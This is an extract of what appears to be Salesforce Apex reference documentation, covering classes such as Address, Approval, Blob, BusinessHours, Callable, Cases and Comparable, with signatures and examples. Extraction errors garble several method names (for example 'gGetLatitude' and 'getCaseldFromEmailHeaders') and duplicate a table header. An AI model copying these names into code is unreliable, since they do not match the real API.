Each of these methods is also equivalent to a read-only property. For each getter method, you can access the property using dot notation. For example, myAddress.getCity() is equivalent to myAddress.city.

You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable of type Address, and then access its components. For example, to access the City field in myAccount.BillingAddress, do the following:

```java
Address addr = myAccount.BillingAddress;
String acctCity = addr.City;
```

Important: “Address” in Salesforce can also refer to the Address standard object. When referencing the Address object in your Apex code, always use Schema.Address instead of Address to prevent confusion with the standard Address compound.
field. If referencing both the Address object and the Address standard field in the same snippet, you can differentiate between the two by using `System.Address` for the field and `Schema.Address` for the object.

Example

```java
// Select and access Address fields.
// Call the getDistance() method in different ways.
Account[] records = [SELECT id, BillingAddress FROM Account LIMIT 10];
for(Account acct : records) {
  Address addr = acct.BillingAddress;
  Double lat = addr.latitude;
  Double lon = addr.longitude;
  Location loc1 = Location.newInstance(30.1944,-97.6682);
  Double apexDist1 = addr.getDistance(loc1, 'mi');
  Double apexDist2 = loc1.getDistance(addr, 'mi');
  System.assertEquals(apexDist1, apexDist2);
  Double apexDist3 = Location.getDistance(addr, loc1, 'mi');
  System.assertEquals(apexDist2, apexDist3);
}
```

IN THIS SECTION:

Address Methods

The following are methods for Address.

IN THIS SECTION:

getCity()
Returns the city field of this address.

getCountry()
Returns the text-only country name component of this address.

getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns `null`.

getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.

getGeocodeAccuracy()
When using geolocation data for a given address, this method gives you relative location information based on latitude and longitude values. For example, you can find out if the latitude and longitude values point to the middle of the street, instead of the exact address.

gGetLatitude()
Returns the latitude field of this address.

gGetLongitude()
Returns the longitude field of this address.
getPostalCode()
Returns the postal code of this address.

getState()
Returns the text-only state name component of this address.

getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

getStreet()
Returns the street field of this address.

getCity()
Returns the city field of this address.

Signature
public String getCity()

Return Value
Type: String

gCountry()  
Returns the text-only country name component of this address.

Signature
public String getCountry()

Return Value
Type: String

gCountryCode()  
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

Signature
public String getCountryCode()

Return Value
Type: String

gDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.
Signature

```
public Double getDistance(Location toLocation, String unit)
```

Parameters

toLocation
Type: Location
The Location to which you want to calculate the distance from the current Location.

unit
Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getGeocodeAccuracy()

When using geolocation data for a given address, this method gives you relative location information based on latitude and longitude values. For example, you can find out if the latitude and longitude values point to the middle of the street, instead of the exact address.

Signature

```
public String getGeocodeAccuracy()
```

Return Value
Type: String

The getGeocodeAccuracy() return value tells you more about the location at a latitude and longitude for a given address. For example, Zip means the latitude and longitude point to the center of the zip code area, in case a match for an exact street address can't be found.

<table>
<thead>
<tr>
<th>Accuracy Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address</td>
<td>In the same building</td>
</tr>
<tr>
<td>NearAddress</td>
<td>Near the address</td>
</tr>
<tr>
<td>Block</td>
<td>Midway point of the block</td>
</tr>
<tr>
<td>Street</td>
<td>Midway point of the street</td>
</tr>
<tr>
<td>ExtendedZip</td>
<td>Center of the extended zip code area</td>
</tr>
<tr>
<td>Zip</td>
<td>Center of the zip code area</td>
</tr>
<tr>
<td>Neighborhood</td>
<td>Center of the neighborhood</td>
</tr>
<tr>
<td>City</td>
<td>Center of the city</td>
</tr>
<tr>
<td>County</td>
<td>Center of the county</td>
</tr>
<tr>
<td>Accuracy Value</td>
<td>Description</td>
</tr>
<tr>
<td>----------------</td>
<td>---------------------------------</td>
</tr>
<tr>
<td>State</td>
<td>Center of the state</td>
</tr>
<tr>
<td>Unknown</td>
<td>No match for the address was found</td>
</tr>
</tbody>
</table>

Geocodes are added only for some standard addresses.

- Billing Address on accounts
- Shipping Address on accounts
- Mailing Address on contacts
- Address on leads

Person accounts are not supported.

**Note:** For `getGeocodeAccuracy()` to work, set up and activate the geocode data integration rules for the related address fields.

**getLatitude()**

Returns the latitude field of this address.

Signature

```java
public Double getLatitude()
```

Return Value

Type: `Double`

**getLongitude()**

Returns the longitude field of this address.

Signature

```java
public Double getLongitude()
```

Return Value

Type: `Double`

**getPostalCode()**

Returns the postal code of this address.

Signature

```java
public String getPostalCode()
```
Return Value
Type: String

getState()
Returns the text-only state name component of this address.

Signature
public String getState()

Return Value
Type: String

getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

Signature
public String getStateCode()

Return Value
Type: String

getStreet()
Returns the street field of this address.

Signature
public String getStreet()

Return Value
Type: String

Answers Class
Represents zone answers.

Namespace
System
Usage

Answers is a feature that enables users to ask questions and have zone members post replies. Members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer.

For more information on answers, see “Answers Overview” in the Salesforce online help.

Example

The following example finds questions in an internal zone that have similar titles as a new question:

```java
public class FindSimilarQuestionController {
    public static void test() {
        // Instantiate a new question
        Question question = new Question ();

        // Specify a title for the new question
        question.title = 'How much vacation time do full-time employees get?';

        // Specify the communityID (INTERNAL_COMMUNITY) in which to find similar questions.
        Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_COMMUNITY' ];

        question.communityId = community.id;

        ID[] results = Answers.findSimilar(question);
    }
}
```

The following example marks a reply as the best reply:

```java
ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT 1].Id;
ID replyId = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId, replyId);
```

Answers Methods

The following are methods for Answers. All methods are static.

IN THIS SECTION:

- `findSimilar(yourQuestion)`: Returns a list of similar questions based on the title of the specified question.
- `setBestReply(questionId, replyId)`: Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.

`findSimilar(yourQuestion)`

Returns a list of similar questions based on the title of the specified question.
Signature

```java
public static ID[] findSimilar(Question yourQuestion)
```

Parameters

- `yourQuestion`
  Type: Question

Return Value

Type: ID[]

Usage

Each `findSimilar` call counts against the SOSL statements governor limit allowed for the process.

`setBestReply(questionId, replyId)`

Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.

Signature

```java
public static Void setBestReply(String questionId, String replyId)
```

Parameters

- `questionId`
  Type: String
- `replyId`
  Type: String

Return Value

Type: Void

**ApexPages Class**

Use `ApexPages` to add and check for messages associated with the current page, as well as to reference the current page.

**Namespace**

`System`

**Usage**

In addition, `ApexPages` is used as a namespace for the `PageReference Class` and the `Message Class`. 

2992
ApexPages Methods

The following are methods for ApexPages. All are instance methods.

IN THIS SECTION:

- addMessage(message)
  Add a message to the current page context.
- addMessages(exceptionThrown)
  Adds a list of messages to the current page context based on a thrown exception.
- currentPage()
  Returns the current page's PageReference.
- getMessages()
  Returns a list of the messages associated with the current context.
- hasMessages()
  Returns true if there are messages associated with the current context, false otherwise.
- hasMessages(severity)
  Returns true if messages of the specified severity exist, false otherwise.

**addMessage** *(message)*

Add a message to the current page context.

Signature

```java
public Void addMessage(ApexPages.Message message)
```

Parameters

- **message**
  Type: ApexPages.Message

Return Value

Type: Void

**addMessages** *(exceptionThrown)*

Adds a list of messages to the current page context based on a thrown exception.

Signature

```java
public Void addMessages(Exception exceptionThrown)
```

Parameters

- **exceptionThrown**
  Type: Exception
Return Value
Type: Void

**currentPage()**
Returns the current page's PageReference.

Signature
```java
public System.PageReference currentPage()
```

Return Value
Type: System.PageReference

Example
This code segment returns the id parameter of the current page.

```java
public MyController() {
    account = [
        SELECT Id, Name, Site
        FROM Account
        WHERE Id =
            :ApexPages.currentPage().
            getParameters().
            get('id')
    ];
}
```

**getMessages()**
Returns a list of the messages associated with the current context.

Signature
```java
public ApexPages.Message[] getMessages()
```

Return Value
Type: ApexPages.Message[]

**hasMessages()**
Returns true if there are messages associated with the current context, false otherwise.

Signature
```java
public Boolean hasMessages()
```
**Return Value**
Type: Boolean

**hasMessages(severity)**
Returns true if messages of the specified severity exist, false otherwise.

**Signature**
public Boolean hasMessages(ApexPages.Severity severity)

**Parameters**
sev
Type: ApexPages.Severity

**Approval Class**
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.

**Namespace**
System

**Usage**
Salesforce admins can edit locked records. Depending on your approval process configuration settings, an assigned approver can also edit locked records. Locks and unlocks that are set programmatically use the same record editability settings as other approval-process locks and unlocks.

Record locks and unlocks are treated as DML. They're blocked before a callout, they count toward your DML limits, and if a failure occurs, they're rolled back along with the rest of your transaction. To change this rollback behavior, use an allOrNone parameter.

Approval is also used as a namespace for the ProcessRequest and ProcessResult classes.

**SEE ALSO:**
Approval Process Considerations

**Approval Methods**
The following are methods for Approval. All methods are static.

**IN THIS SECTION:**
isLocked(id)

Returns true if the record with the ID id is locked, or false if it's not.
isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status is false.

isLocked(sobject)
Returns true if the sobject record is locked, or false if it’s not.

isLocked(sobjects)
Returns a map of record IDs to lock statuses. If the record is locked the status is true. If the record is not locked the status is false.

lock(recordId)
Locks an object, and returns the lock results.

lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.

lock(recordToLock)
Locks an object, and returns the lock results.

lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.

lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.

lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

lock(recordToLock, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.

lock(recordsToLock, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

process(approvalRequest)
Submits a new approval request and approves or rejects existing approval requests.

process(approvalRequest, allOrNone)
Submits a new approval request and approves or rejects existing approval requests.

process(approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.

process(approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.

unlock(recordId)
Unlocks an object, and returns the unlock results.

unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.

unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.

unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.

unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

isLocked(id)
Returns true if the record with the ID id is locked, or false if it's not.

Signature
public static Boolean isLocked(Id id)

Parameters
id
Type: Id
The ID of the record whose lock or unlock status is in question.

Return Value
Type: Boolean

isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status is false.

Signature
public static Map<Id, Boolean> isLocked(List<Id> ids)

Parameters
ids
Type: List<Id>
The IDs of the records whose lock or unlock statuses are in question.

Return Value
Type: Map<Id, Boolean>

isLocked(object)
Returns true if the object record is locked, or false if it's not.
Signature

```java
public static Boolean isLocked(SObject sObject)
```

Parameters

```java
sObject
Type: SObject
The record whose lock or unlock status is in question.
```

Return Value

Type: Boolean

### isLocked(sobjects)

Returns a map of record IDs to lock statuses. If the record is locked the status is `true`. If the record is not locked the status is `false`.

Signature

```java
public static Map<Id,Boolean> isLocked(List<SObject> sObjects)
```

Parameters

```java
sObjects
Type: List<SObject>
The records whose lock or unlock statuses are in question.
```

Return Value

Type: Map<Id,Boolean>

### lock(recordId)

Locks an object, and returns the lock results.

Signature

```java
public static Approval.LockResult lock(Id recordId)
```

Parameters

```java
recordId
Type: Id
ID of the object to lock.
```

Return Value

Type: Approval.LockResult
lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<Id> ids)

Parameters
ids
  Type: List<Id>
  IDs of the objects to lock.

Return Value
Type: List<Approval.LockResult>

lock(recordToLock)
Locks an object, and returns the lock results.

Signature
public static Approval.LockResult lock(SObject recordToLock)

Parameters
recordToLock
  Type: SObject

Return Value
Type: Approval.LockResult

lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock)

Parameters
recordsToLock
  Type: List<SObject>

Return Value
Type: List<Approval.LockResult>
**lock**(recordId, allOrNothing)

Locks an object, with the option for partial success, and returns the lock result.

**Signature**

```java
public static Approval.LockResult lock(Id recordId, Boolean allOrNothing)
```

**Parameters**

- **recordId**
  - Type: Id
  - ID of the object to lock.

- **allOrNothing**
  - Type: Boolean
  - Specifies whether this operation allows partial success. If you specify `false` and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

- Type: Approval.LockResult

**lock**(recordIds, allOrNothing)

Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

**Signature**

```java
public static List<Approval.LockResult> lock(List<Id> recordIds, Boolean allOrNothing)
```

**Parameters**

- **recordIds**
  - Type: List<Id>
  - IDs of the objects to lock.

- **allOrNothing**
  - Type: Boolean
  - Specifies whether this operation allows partial success. If you specify `false` and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

- Type: List<Approval.LockResult>

**lock**(recordToLock, allOrNothing)

Locks an object, with the option for partial success, and returns the lock result.
Signature

```java
public static Approval.LockResult lock(SObject recordToLock, Boolean allOrNothing)
```

Parameters

- `recordToLock`
  Type: SObject
- `allOrNothing`
  Type: Boolean

Specifies whether this operation allows partial success. If you specify `false` and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value

Type: Approval.LockResult

**lock(recordsToLock, allOrNothing)**

Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

Signature

```java
public static List<Approval.LockResult> lock(List<SObject> recordsToLock, Boolean allOrNothing)
```

Parameters

- `recordsToLock`
  Type: List<SObject>
- `allOrNothing`
  Type: Boolean

Specifies whether this operation allows partial success. If you specify `false` and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value

Type: List<Approval.LockResult>

**process(approvalRequest)**

Submits a new approval request and approves or rejects existing approval requests.

Signature

```java
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequest)
```
Parameters

approvalRequest
Type: Approval.ProcessRequest

Return Value

Type: Approval.ProcessResult

Example

```java
// Insert an account
Account a = new Account(Name='Test',
    annualRevenue=100.0);
insert a;

// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
    new Approval.ProcessSubmitRequest();
req1.setObjectId(a.id);

// Submit the approval request for the account
Approval.ProcessResult result =
    Approval.process(req1);
```

`process(approvalRequest, allOrNone)`
Submits a new approval request and approves or rejects existing approval requests.

Signature

```java
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequest,
    Boolean allOrNone)
```

Parameters

approvalRequest
Type: Approval.ProcessRequest

allOrNone
Type: Boolean

The optional `allOrNone` parameter specifies whether the operation allows for partial success. If you specify `false` for this parameter and an approval fails, the remainder of the approval processes can still succeed.

Return Value

Approval.ProcessResult
**process(approvalRequests)**
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature

```java
public static Approval.ProcessResult [] process(Approval.ProcessRequest[] approvalRequests)
```

Parameters

`approvalRequests`
Approved ProcessRequest []

Return Value

Approval.ProcessResult []

**process(approvalRequests, allOrNone)**
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature

```java
public static Approval.ProcessResult [] process(Approval.ProcessRequest[] approvalRequests, Boolean allOrNone)
```

Parameters

`approvalRequests`
Approved ProcessRequest []

`allOrNone`
Type: Boolean

The optional `allOrNone` parameter specifies whether the operation allows for partial success. If you specify `false` for this parameter and an approval fails, the remainder of the approval processes can still succeed.

Return Value

Approval.ProcessResult []

**unlock(recordId)**
Unlocks an object, and returns the unlock results.

Signature

```java
public static Approval.UnlockResult unlock(Id recordId)
```
Parameters  

`recordId`  
Type: Id  
ID of the object to unlock.

Return Value  
Type: Approval.UnlockResult

**unlock** *(recordIds)*  
Unlocks a set of objects, and returns the unlock results, including failures.

Signature  
`public static List<Approval.UnlockResult> unlock(List<Id> recordIds)`

Parameters  

`recordIds`  
Type: List<Id>  
IDs of the objects to unlock.

Return Value  
Type: List<Approval.UnlockResult>

**unlock** *(recordToUnlock)*  
Unlocks an object, and returns the unlock results.

Signature  
`public static Approval.UnlockResult unlock(SObject recordToUnlock)`

Parameters  

`recordToUnlock`  
Type: SObject

Return Value  
Type: Approval.UnlockResult

**unlock** *(recordsToUnlock)*  
Unlocks a set of objects, and returns the unlock results, including failures.
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock)

Parameters
recordsToUnlock
Type: List<SObject>

Return Value
Type: List<Approval.UnlockResult>

unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

Signature
public static Approval.UnlockResult unlock(Id recordId, Boolean allOrNothing)

Parameters
recordId
Type: Id
ID of the object to lock.

allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: Approval.UnlockResult

unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<Id> recordIds, Boolean allOrNothing)

Parameters
recordIds
Type: List<Id>
IDs of the objects to unlock.
**allOrNothing**

Type: Boolean

Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

Type: List<Approval.UnlockResult>

**unlock(recordToUnlock, allOrNothing)**

Unlocks an object, with the option for partial success, and returns the unlock result.

**Signature**

```java
public static Approval.UnlockResult unlock(SObject recordToUnlock, Boolean allOrNothing)
```

**Parameters**

- **recordToUnlock**
  Type: SObject

- **allOrNothing**
  Type: Boolean

  Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

**Return Value**

Type: Approval.UnlockResult

**unlock(recordsToUnlock, allOrNothing)**

Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

**Signature**

```java
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock, Boolean allOrNothing)
```

**Parameters**

- **recordsToUnlock**
  Type: List<SObject>

- **allOrNothing**
  Type: Boolean

  Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.
Return Value
Type: List<Approval.UnlockResult>

Blob Class
Contains methods for the Blob primitive data type.

Namespace
System

Usage
For more information on Blobs, see Primitive Data Types on page 26.

Blob Methods
The following are methods for Blob.

IN THIS SECTION:
- size()
  Returns the number of characters in the Blob.
- toPdf(stringToConvert)
  Creates a binary object out of the given string, encoding it as a PDF file.
- toString()
  Casts the Blob into a String.
- valueOf(stringToBlob)
  Casts the specified String to a Blob.

size()
Returns the number of characters in the Blob.

Signature
public Integer size()
**toPdf(stringToConvert)**

Creates a binary object out of the given string, encoding it as a PDF file.

Signature

```java
public static Blob toPdf(String stringToConvert)
```

Parameters

**stringToConvert**

Type: String

Return Value

Type: Blob

Example

```java
String pdfContent = 'This is a test string';
Account a = new account(name = 'test');
insert a;
Attachment attachmentPDF = new Attachment();
attachmentPDF.parentId = a.id;
attachmentPDF.name = a.name + '.pdf';
attachmentPDF.body = blob.toPDF(pdfContent);
insert attachmentPDF;
```

**toString()**

Casts the Blob into a String.

Signature

```java
public String toString()
```

Return Value

Type: String

Example

```java
String myString = 'StringToBlob';
Blob myBlob = Blob.valueOf(myString);
System.assertEquals('StringToBlob', myBlob.toString());
```

**valueOf(stringToBlob)**

Casts the specified String to a Blob.
Signature

```java
public static Blob valueOf(String stringToBlob)
```

Parameters

`stringToBlob`
- Type: `String`

Return Value

Type: `Blob`

Example

```java
String myString = 'StringToBlob';
Blob myBlob = Blob.valueOf(myString);
```

**Boolean Class**

Contains methods for the Boolean primitive data type.

**Namespace**

`System`

**Boolean Methods**

The following are methods for `Boolean`. All methods are static.

**IN THIS SECTION:**

- `valueOf(stringToBoolean)`
  - Converts the specified string to a Boolean value and returns `true` if the specified string value is `true`. Otherwise, returns `false`.

- `valueOf(fieldValue)`
  - Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents a Boolean value.

**valueOf(stringToBoolean)**

Converts the specified string to a Boolean value and returns `true` if the specified string value is `true`. Otherwise, returns `false`.

Signature

```java
public static Boolean valueOf(String stringToBoolean)
```

Parameters

`stringToBoolean`
- Type: `String`
Return Value
Type: Boolean

Usage
If the specified argument is null, this method throws an exception.

Example

```java
Boolean b = Boolean.valueOf('true');
System.assertEquals(true, b);
```

```java
valueOf(fieldValue)
```

Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents a Boolean value.

Signature

```java
public static Boolean valueOf(Object fieldValue)
```

Parameters

`fieldValue`
Type: Object

Return Value
Type: Boolean

Usage
Use this method with the `OldValue` or `NewValue` fields of history sObjects, such as `AccountHistory`, when the field type corresponds to a Boolean type, like a checkbox field.

Example

```java
List<AccountHistory> ahlist =
    [SELECT Field, OldValue, NewValue
     FROM AccountHistory];
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'IsPlatinum__c') {
        Boolean oldValue =
            Boolean.valueOf(ah.OldValue);
        Boolean newValue =
            Boolean.valueOf(ah.NewValue);
    }
}
```
**BusinessHours Class**

Use the BusinessHours methods to set the business hours at which your customer support team operates.

**Namespace**

System

**BusinessHours Methods**

The following are methods for BusinessHours. All methods are static.

IN THIS SECTION:

- `add(businessHoursId, startDate, intervalMilliseconds)`  
  Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.
- `addGmt(businessHoursId, startDate, intervalMilliseconds)`  
  Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.
- `diff(businessHoursId, startDate, endDate)`  
  Returns the difference in milliseconds between a start and end Datetime based on a specific set of business hours.
- `isWithin(businessHoursId, targetDate)`  
  Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.
- `nextStartDate(businessHoursId, targetDate)`  
  Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within business hours, this target date is returned.

### `add(businessHoursId, startDate, intervalMilliseconds)`

Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.

**Signature**

```java
public static Datetime add(String businessHoursId, Datetime startDate, Long intervalMilliseconds)
```

**Parameters**

- **businessHoursId**
  - Type: String
- **startDate**
  - Type: Datetime
- **intervalMilliseconds**
  - Type: Long

Interval value should be provided in milliseconds, however time precision smaller than one minute is ignored.
addGmt(businessHoursId, startDate, intervalMilliseconds)

Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.

Signature

```
public static Datetime addGmt(String businessHoursId, Datetime startDate, Long intervalMilliseconds)
```

Parameters

- `businessHoursId`
  - Type: String
- `startDate`
  - Type: Datetime
- `intervalMilliseconds`
  - Type: Long

Return Value

Type: Datetime

diff(businessHoursId, startDate, endDate)

Returns the difference in milliseconds between a start and end Datetime based on a specific set of business hours.

Signature

```
public static Long diff(String businessHoursId, Datetime startDate, Datetime endDate)
```

Parameters

- `businessHoursId`
  - Type: String
- `startDate`
  - Type: Datetime
- `endDate`
  - Type: Datetime

Return Value

Type: Long

isWithin(businessHoursId, targetDate)

Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.
public static Boolean isWithin(String businessHoursId, Datetime targetDate)

Parameters

businessHoursId
Type: String
The business hours ID.

targetDate
Type: Datetime
The date to verify.

Return Value
Type: Boolean

Example

The following example finds whether a given time is within the default business hours.

```
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
DateTime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);

// Find whether the time is within the default business hours
Boolean isWithin = BusinessHours.isWithin(bh.id, targetTime);
```

nextStartDate(businessHoursId, targetDate)

Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within business hours, this target date is returned.

Signature

public static Datetime nextStartDate(String businessHoursId, Datetime targetDate)

Parameters

businessHoursId
Type: String
The business hours ID.

targetDate
Type: Datetime
The date used as a start date to obtain the next date.
Return Value

Type: Datetime

Example

The following example finds the next date starting from the target date when business hours reopens. If the target date is within the given business hours, the target date is returned. The returned time is in the local time zone.

```java
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Create Datetime on May 28, 2013 at 1:06:08 AM in the local timezone.
Datetime targetTime = Datetime.newInstance(2013, 5, 28, 1, 6, 8);
// Starting from the targetTime, find the next date when business hours reopens. Return
// the target time.

// if it is within the business hours. The returned time will be in the local time zone
Datetime nextStart = BusinessHours.nextStartDate(bh.id, targetTime);
```

Callable Interface

Enables developers to use a common interface to build loosely coupled integrations between Apex classes or triggers, even for code in separate packages. Agreeing upon a common interface enables developers from different companies or different departments to build upon one another’s solutions. Implement this interface to enable the broader community, which might have different solutions than the ones you had in mind, to extend your code’s functionality.

**Note:** This interface is not an analog of the Java Callable interface, which is used for asynchronous invocation. Don’t confuse the two.

Namespace

System

Usage

To implement the Callable interface, you need to write only one method: `call(String action, Map<String, Object> args)`.

In code that utilizes or tests an implementation of Callable, cast an instance of your type to Callable.

This interface is not intended to replace defining more specific interfaces. Rather, the Callable interface allows integrations in which code from different classes or packages can use common base types.

IN THIS SECTION:
- Callable Methods
- Callable Example Implementation

Callable Methods

The following are methods for Callable.
IN THIS SECTION:

**call(action, args)**

Provides functionality that other classes or packages can utilize and build upon.

**call(action, args)**

Provides functionality that other classes or packages can utilize and build upon.

Signature

```java
public Object call(String action, Map<String,Object> args)
```

Parameters

- **action**
  - Type: String
  - The behavior for the method to exhibit.

- **args**
  - Type: Map on page 3274<String, Object>
  - Arguments to be used by the specified action.

Return Value

- Type: Object
  - The result of the method invocation.

**Callable Example Implementation**

This class is an example implementation of the System.Callable interface.

```java
public class Extension implements Callable {
    // Actual method
    String concatStrings(String stringValue) {
        return stringValue + stringValue;
    }

    // Actual method
    Decimal multiplyNumbers(Decimal decimalValue) {
        return decimalValue * decimalValue;
    }

    // Dispatch actual methods
    public Object call(String action, Map<String, Object> args) {
        switch on action {
            when 'concatStrings' {
                return this.concatStrings((String)args.get('stringValue'));
            }
            when 'multiplyNumbers' {
                return this.multiplyNumbers((Decimal)args.get('decimalValue'));
            }
        }
    }
}
```

3015
The following test code illustrates how calling code utilizes the interface to call a method.

```java
@IsTest
private with sharing class ExtensionCaller {

    @IsTest
    private static void givenConfiguredExtensionWhenCalledThenValidResult() {
        // Given
        String extensionClass = 'Extension'; // Typically set via configuration
        Decimal decimalTestValue = 10;

        // When
        Callable extension = (Callable) Type.forName(extensionClass).newInstance();
        Decimal result = (Decimal) extension.call('multiplyNumbers', new Map<String, Object> {
            'decimalValue' => decimalTestValue
        });

        // Then
        System.assertEquals(100, result);
    }
}
```

- Classes and Casting

### Cases Class

Use the `Cases` class to interact with case records.

### Namespace

- `System`

### Cases Methods

The following are static methods for `Cases`. 
IN THIS SECTION:

getCaseldFromEmailHeaders(headers)
Returns the case ID corresponding to the specified email header information.

caseldFromEmail.ThreadId(emailThreadId)
Returns the case ID corresponding to the specified email thread ID. (Deprecated. Use caseldFromEmailHeaders() instead.)

**getCaseldFromEmailHeaders(headers)**
Returns the case ID corresponding to the specified email header information.

**Signature**

```java
public static Id getCaseldFromEmailHeaders(List<Messaging.InboundEmail.Header> headers)
```

**Parameters**

* headers
  Type: List<Messaging.InboundEmail.Header>*

**Return Value**

Type: Id

**Usage**

The *headers* argument is used to find the matching Case Id using values for the `in-reply-to` and `references` headers based on RFC 2822.

**getCaseldFromEmail.ThreadId(emailThreadId)**
Returns the case ID corresponding to the specified email thread ID. (Deprecated. Use caseldFromEmailHeaders() instead.)

**Signature**

```java
public static ID getCaseldFromEmail.ThreadId(String emailThreadId)
```

**Parameters**

* emailThreadId
  Type: String

**Return Value**

Type: ID

**Usage**

The *emailThreadId* argument should have the following format: `_00Dxx1gEW._500xxYktg`. Other formats, such as `ref:_00Dxx1gEW._500xxYktl:ref` and `ref:_00Dxx1gEW._500xxYktl`, are invalid.
Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.

Namespace
System

Usage
To add List sorting support for your Apex class, you must implement the Comparable interface with its compareTo method in your class.

To implement the Comparable interface, you must first declare a class with the implements keyword as follows:

```
global class Employee implements Comparable {

    global Integer compareTo(Object compareTo) {
        // Your code here
    }
}
```

The implemented method must be declared as global or public.

IN THIS SECTION:
Comparable Methods
Comparable Example Implementation

SEE ALSO:
List Class

Comparable Methods
The following are methods for Comparable.

IN THIS SECTION:
compareTo(objectToCompareTo)
Returns an Integer value that is the result of the comparison.

```
compareTo(objectToCompareTo)
```
Returns an Integer value that is the result of the comparison.

Signature
```
public Integer compareTo(Object objectToCompareTo)
```
Parameters

objectToCompareTo
Type: Object

Return Value
Type: Integer

Usage
The implementation of this method returns the following values:

- 0 if this instance and objectToCompareTo are equal
- > 0 if this instance is greater than objectToCompareTo
- < 0 if this instance is less than objectToCompareTo

If this object instance and objectToCompareTo are incompatible, a System.TypeException is thrown.

Comparable Example Implementation

